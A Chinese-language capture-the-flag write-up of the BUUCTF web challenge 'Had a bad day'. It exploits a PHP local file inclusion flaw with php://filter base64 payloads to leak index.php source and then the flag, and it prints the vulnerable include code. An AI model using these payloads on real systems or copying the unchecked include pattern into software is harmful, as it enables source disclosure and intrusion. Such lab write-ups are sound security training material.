Had a bad day
打开题目是一个简洁的页面页面上有两个按钮
看一下这个网页实现的功能，随便点击一个按钮
显示了一张图片，并且我们可以发现通过Get的方式穿进去一个参数，大概可以猜出，这个网页是通过get传进去一个参数然后在后台进行查询，到这我最先想到的是sql注入，于是进行了尝试、
http://a854196a-76a8-4258-9088-973ab48d7722.node4.buuoj.cn:81/index.php?category=woofers%27 #加入单引号测试是否存在注入
发现报错了，在这里我们可以看到后台使用了include函数，并且会自动添加php的后缀，因为使用了include函数，我们尝试查看源码，使用php伪协议
a854196a-76a8-4258-9088-973ab48d7722.node4.buuoj.cn:81/index.php?category=php://filter/read=convert.base64-encode/resource=index
这里因为刚刚说了后台会自动添加php后缀所以这里我们不用添加
得到index.php的源码，进行解码就行
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="description" content="Images that spark joy">
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0">
<title>Had a bad day?</title>
<link rel="stylesheet" href="css/material.min.css">
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<div class="page-layout mdl-layout mdl-layout--fixed-header mdl-js-layout mdl-color--grey-100">
<header class="page-header mdl-layout__header mdl-layout__header--scroll mdl-color--grey-100 mdl-color-text--grey-800">
<div class="mdl-layout__header-row">
<span class="mdl-layout-title">Had a bad day?</span>
<div class="mdl-layout-spacer"></div>
<div>
</header>
<div class="page-ribbon"></div>
<main class="page-main mdl-layout__content">
<div class="page-container mdl-grid">
<div class="mdl-cell mdl-cell--2-col mdl-cell--hide-tablet mdl-cell--hide-phone"></div>
<div class="page-content mdl-color--white mdl-shadow--4dp content mdl-color-text--grey-800 mdl-cell mdl-cell--8-col">
<div class="page-crumbs mdl-color-text--grey-500">
</div>
<h3>Cheer up!</h3>
<p>
Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer you up!
</p>
<div class="page-include">
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
</div>
<form action="index.php" method="get" id="choice">
<center><button onclick="document.getElementById('choice').submit();" name="category" value="woofers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Woofers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button>
<button onclick="document.getElementById('choice').submit();" name="category" value="meowers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Meowers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button></center>
</form>
</div>
</div>
</main>
</div>
<script src="js/material.min.js"></script>
</body>
</html>
这里面主要的就是这一段php的
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
这里我们可以看到通过GET方式传入category然后进行判断和字符过滤，传入的字符串中必须有woofers、meowers、index中的其中一个，所以我们的思路就是通过传入的woofers将flag带出来
PayLoad:
http://a854196a-76a8-4258-9088-973ab48d7722.node4.buuoj.cn:81/index.php?category=php://filter/read=convert.base64-encode/woofers/resource=flag
进行解码就可以得到flag